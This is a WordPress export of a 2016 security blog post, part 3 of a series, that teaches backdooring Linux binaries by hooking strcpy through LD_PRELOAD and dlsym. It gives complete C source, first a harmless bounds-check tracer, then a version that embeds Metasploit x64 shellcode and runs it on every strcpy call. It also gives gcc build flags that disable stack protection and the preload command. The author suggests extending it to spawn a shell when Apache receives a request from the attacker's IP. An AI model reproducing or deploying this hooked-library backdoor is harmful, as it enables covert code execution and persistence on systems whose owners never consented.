{"id":1294,"date":"2016-07-31T17:35:02","date_gmt":"2016-07-31T17:35:02","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1294"},"modified":"2016-07-31T17:35:02","modified_gmt":"2016-07-31T17:35:02","slug":"backdooring-dlls-part-3","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2016\/07\/backdooring-dlls-part-3\/","title":{"rendered":"Backdooring DLL’s Part 3"},"content":{"rendered":"

Whaddup fellow crackers. Long time, no see.
\n\"1463353909015\"<\/a><\/p>\n

In this article, we’re going to do something I rarely bother with – Linux! <\/p>\n

Yes, you can backdoor Linux binaries quite easily. One method I like to use is via the LD_PRELOAD environment variable. Within the header file “dlfcn.h”, there exists a function named ‘dlsym’<\/a> which is used for obtaining the address of symbols. We can use this to hook shared library functions and add our own code to them. <\/p>\n

In the following example, I am hooking ‘strcpy’ with a check to see if the destination buffer is large enough for the source. If it isn’t, rather than (potentially) crashing, my implementation prints what I want to the screen along with some backtrace info obtained from ‘execinfo.h’. Here is how we do it. <\/p>\n

First, paste this into your editor:
\n<\/p>\n

\n
#define _GNU_SOURCE<\/span>\r\n#include <dlfcn.h><\/span>\r\n#include <execinfo.h><\/span>\r\n#include <stdio.h><\/span>\r\n#include <stdlib.h><\/span>\r\n\r\nvoid<\/span> joetrace<\/span>(void<\/span>);\r\n\r\nchar<\/span> *<\/span>strcpy<\/span>(char<\/span> *<\/span>destination,  char<\/span> *<\/span>source )  \r\n{\r\n\r\n         if<\/span> (strlen(source) ><\/span> strlen(destination)) {\r\n                printf("<\/span>\\n<\/span>Found bug in [strcpy] call.  Source [%zu] Destination [%zu]<\/span>\\n<\/span>"<\/span>, strlen(source), strlen(destination));\r\n                joetrace();\r\n        }\r\n\r\n        char<\/span> *<\/span>(*<\/span>old_strcpy)(char<\/span> *<\/span>dest, const<\/span> char<\/span> *<\/span>src);\r\n        old_strcpy =<\/span> dlsym(RTLD_NEXT, "strcpy"<\/span>);\r\n        return<\/span> (*<\/span>old_strcpy)(destination, source);\r\n}\r\n\r\nvoid<\/span> joetrace<\/span> (void<\/span>)\r\n{\r\n  void<\/span> *<\/span>blox[10<\/span>];\r\n  size_t<\/span> mysize;\r\n  char<\/span> **<\/span>brix;\r\n  size_t<\/span> i;\r\n  mysize =<\/span> backtrace (blox, 10<\/span>);\r\n  brix =<\/span> backtrace_symbols (blox, mysize);\r\n  printf ("I'm seeing %zd stack frames.<\/span>\\n<\/span>"<\/span>, mysize);\r\n\r\n        for<\/span> (i =<\/span> 0<\/span>; i <<\/span> mysize; i++<\/span>)\r\n        {\r\n        printf ("%s<\/span>\\n<\/span>"<\/span>, brix[i]);\r\n        }\r\n  free(brix);\r\n}\r\n<\/pre>\n<\/div>\n
Now compile:
\n<\/p>\n
\n
joe@ubuntu:~\/Downloads$ <\/span>gcc -shared -ldl -fPIC btrace.c -o btrace.so\r\n<\/pre>\n<\/div>\n
Now we need a testing program. Paste this into your editor.<\/p>\n
<\/p>\n
\n
#include <stdio.h><\/span>\r\n#include <string.h><\/span>\r\n\r\nint<\/span> main<\/span>(void<\/span>)\r\n{\r\nprintf("This better work...<\/span>\\r\\n<\/span>"<\/span>);\r\nchar<\/span> joe[10<\/span>] =<\/span> "haha"<\/span>;\r\nchar<\/span> why[10<\/span>] =<\/span> "hehey"<\/span>;\r\nstrcpy(joe,why);\r\n}\r\n<\/pre>\n<\/div>\n
Compile…
\n<\/p>\n
\n
joe@ubuntu:~\/Downloads$ <\/span>gcc testing123.c -o testing123\r\n<\/pre>\n<\/div>\n
Now we’re ready. Just need to set the LD_PRELOAD environment variable and run the program at the same time. Low and behold:<\/p>\n
<\/p>\n
\n
joe@<\/span>ubuntu:~\/<\/span>Downloads$<\/span> LD_PRELOAD=\/<\/span>home\/<\/span>joe\/<\/span>Downloads\/<\/span>btrace.so .\/<\/span>testing123\r\nThis better work...\r\n\r\nFound bug in<\/span> [strcpy] call<\/span>.  Source [5<\/span>] Destination [4<\/span>]\r\nI'<\/span>m seeing 5<\/span> stack frames.\r\n\/<\/span>home\/<\/span>joe\/<\/span>Downloads\/<\/span>btrace.so<\/span>(joetrace+0<\/span>x19) [0<\/span>x7fe1699f6885]\r\n\/<\/span>home\/<\/span>joe\/<\/span>Downloads\/<\/span>btrace.so<\/span>(strcpy+0<\/span>xd0) [0<\/span>x7fe1699f683c]\r\n.\/<\/span>testing123<\/span>() [0<\/span>x40060a]\r\n\/<\/span>lib\/<\/span>x86_64-<\/span>linux-<\/span>gnu\/<\/span>libc.so.6<\/span>(__libc_start_main+0<\/span>xed) [0<\/span>x7fe1696597ed]\r\n.\/<\/span>testing123<\/span>() [0<\/span>x4004f9]\r\n<\/pre>\n<\/div>\n
This is useful if you want to test programs for buffer overflows, but what about backdooring? After all, that’s why we’re here right? All we have to do is modify our code before our call to ‘dlsym’ and the return and place backdooring code inside. My motto has always been, why re-invent the wheel? Metasploit has lot’s of backdoor code. Hell, Metasploit is even nice enough to produce a C file output for our shellcode. Since we don’t need to evade anything or watch for null bytes, the process is simple.<\/p>\n
Step 1 – boot up metasploit, pick a payload.
\n\"msf\"<\/a><\/p>\n
In this case, I chose exec for Linux x64. I’m setting the CMD as \/usr\/bin\/cal (calendar). Now it’s just a matter of using the ‘generate’ command and specifying C as the output language:
\n\"msdf2\"<\/a><\/p>\n
We take our output, make it C ready, and place this inside our shared object and compile.<\/p>\n
<\/p>\n
\n
#define _GNU_SOURCE<\/span>\r\n#include <dlfcn.h><\/span>\r\n#include <stdio.h><\/span>\r\n#include <stdlib.h><\/span>\r\n\r\nchar<\/span> *<\/span>strcpy<\/span>(char<\/span> *<\/span>destination,  char<\/span> *<\/span>source )  \r\n{\r\nunsigned<\/span> char<\/span> buf[] =<\/span> \r\n"<\/span>\\x48\\x31\\xc9\\x48\\x81\\xe9\\xf9\\xff\\xff\\xff\\x48\\x8d\\x05\\xef\\xff<\/span>"<\/span>\r\n"<\/span>\\xff\\xff\\x48\\xbb\\xce\\x62\\xd4\\x8c\\x11\\x28\\xd0\\x06\\x48\\x31\\x58<\/span>"<\/span>\r\n"<\/span>\\x27\\x48\\x2d\\xf8\\xff\\xff\\xff\\xe2\\xf4\\xa4\\x59\\x8c\\x15\\x59\\x93<\/span>"<\/span>\r\n"<\/span>\\xff\\x64\\xa7\\x0c\\xfb\\xff\\x79\\x28\\x83\\x4e\\x47\\x85\\xbc\\xa1\\x72<\/span>"<\/span>\r\n"<\/span>\\x28\\xd0\\x4e\\x47\\x84\\x86\\x64\\x1c\\x28\\xd0\\x06\\xe1\\x17\\xa7\\xfe<\/span>"<\/span>\r\n"<\/span>\\x3e\\x4a\\xb9\\x68\\xe1\\x01\\xb5\\xe0\\x11\\x7e\\x87\\x4e\\x47\\x84\\xdb<\/span>"<\/span>\r\n"<\/span>\\x89\\x11\\x28\\xd0\\x06<\/span>"<\/span>;\r\n\r\nint<\/span> (*<\/span>doit)() =<\/span> (int<\/span>(*<\/span>)())buf;\r\ndoit();\r\n        \r\nchar<\/span> *<\/span>(*<\/span>old_strcpy)(char<\/span> *<\/span>dest, const<\/span> char<\/span> *<\/span>src);\r\nold_strcpy =<\/span> dlsym(RTLD_NEXT, "strcpy"<\/span>);\r\nreturn<\/span> (*<\/span>old_strcpy)(destination, source);\r\n}\r\n<\/pre>\n<\/div>\n
Compiling….
\n<\/p>\n
\n
joe@ubuntu:~\/Downloads$ <\/span>gcc -shared -ldl -fPIC -fno-stack-protector -z execstack backdoored_so.c -o backdoored_so.so\r\n<\/pre>\n<\/div>\n
Now we set our environment variable LD_PRELOAD again and run our program:
\n\"backdoored_shared_object\"<\/a>
\nFantastico! The call to strcpy() was intercepted, and calendar was called. I used simple shellcode too. Imagine spawning a shell when apache accepts a recv() request from your IP? You’ll have to be creative.<\/p>\n
There are other ways of backdooring shared objects in Linux, but I wanted to share the hooking method. The way you hook a Linux shared object is about the same as part 1 when we went through a DLL file – just find the right export \/ function and replace codez. <\/p>\n
Tune in for part 4, the final chapter when I go over using hooking libraries to hook dll files on windows. We’ll be playing with HookLib and MS Detours again. <\/p>\n
Until then,<\/p>\n
Happy hacking!<\/p>\n
\nhttp:\/\/www.gironsec.com\/blog\/wp-content\/uploads\/2016\/07\/1413141603419.webm<\/a><\/video><\/div>\n","protected":false},"excerpt":{"rendered":"
Whaddup fellow crackers. Long time, no see. In this article, we’re going to do something I rarely bother with – Linux! Yes, you can backdoor Linux binaries quite easily. One method I like to use is via the LD_PRELOAD environment variable. Within the header file “dlfcn.h”, there exists a function named ‘dlsym’ which is used […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,7],"tags":[110,112],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1294"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1294"}],"version-history":[{"count":7,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1294\/revisions"}],"predecessor-version":[{"id":1380,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1294\/revisions\/1380"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1294"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1294"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1294"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}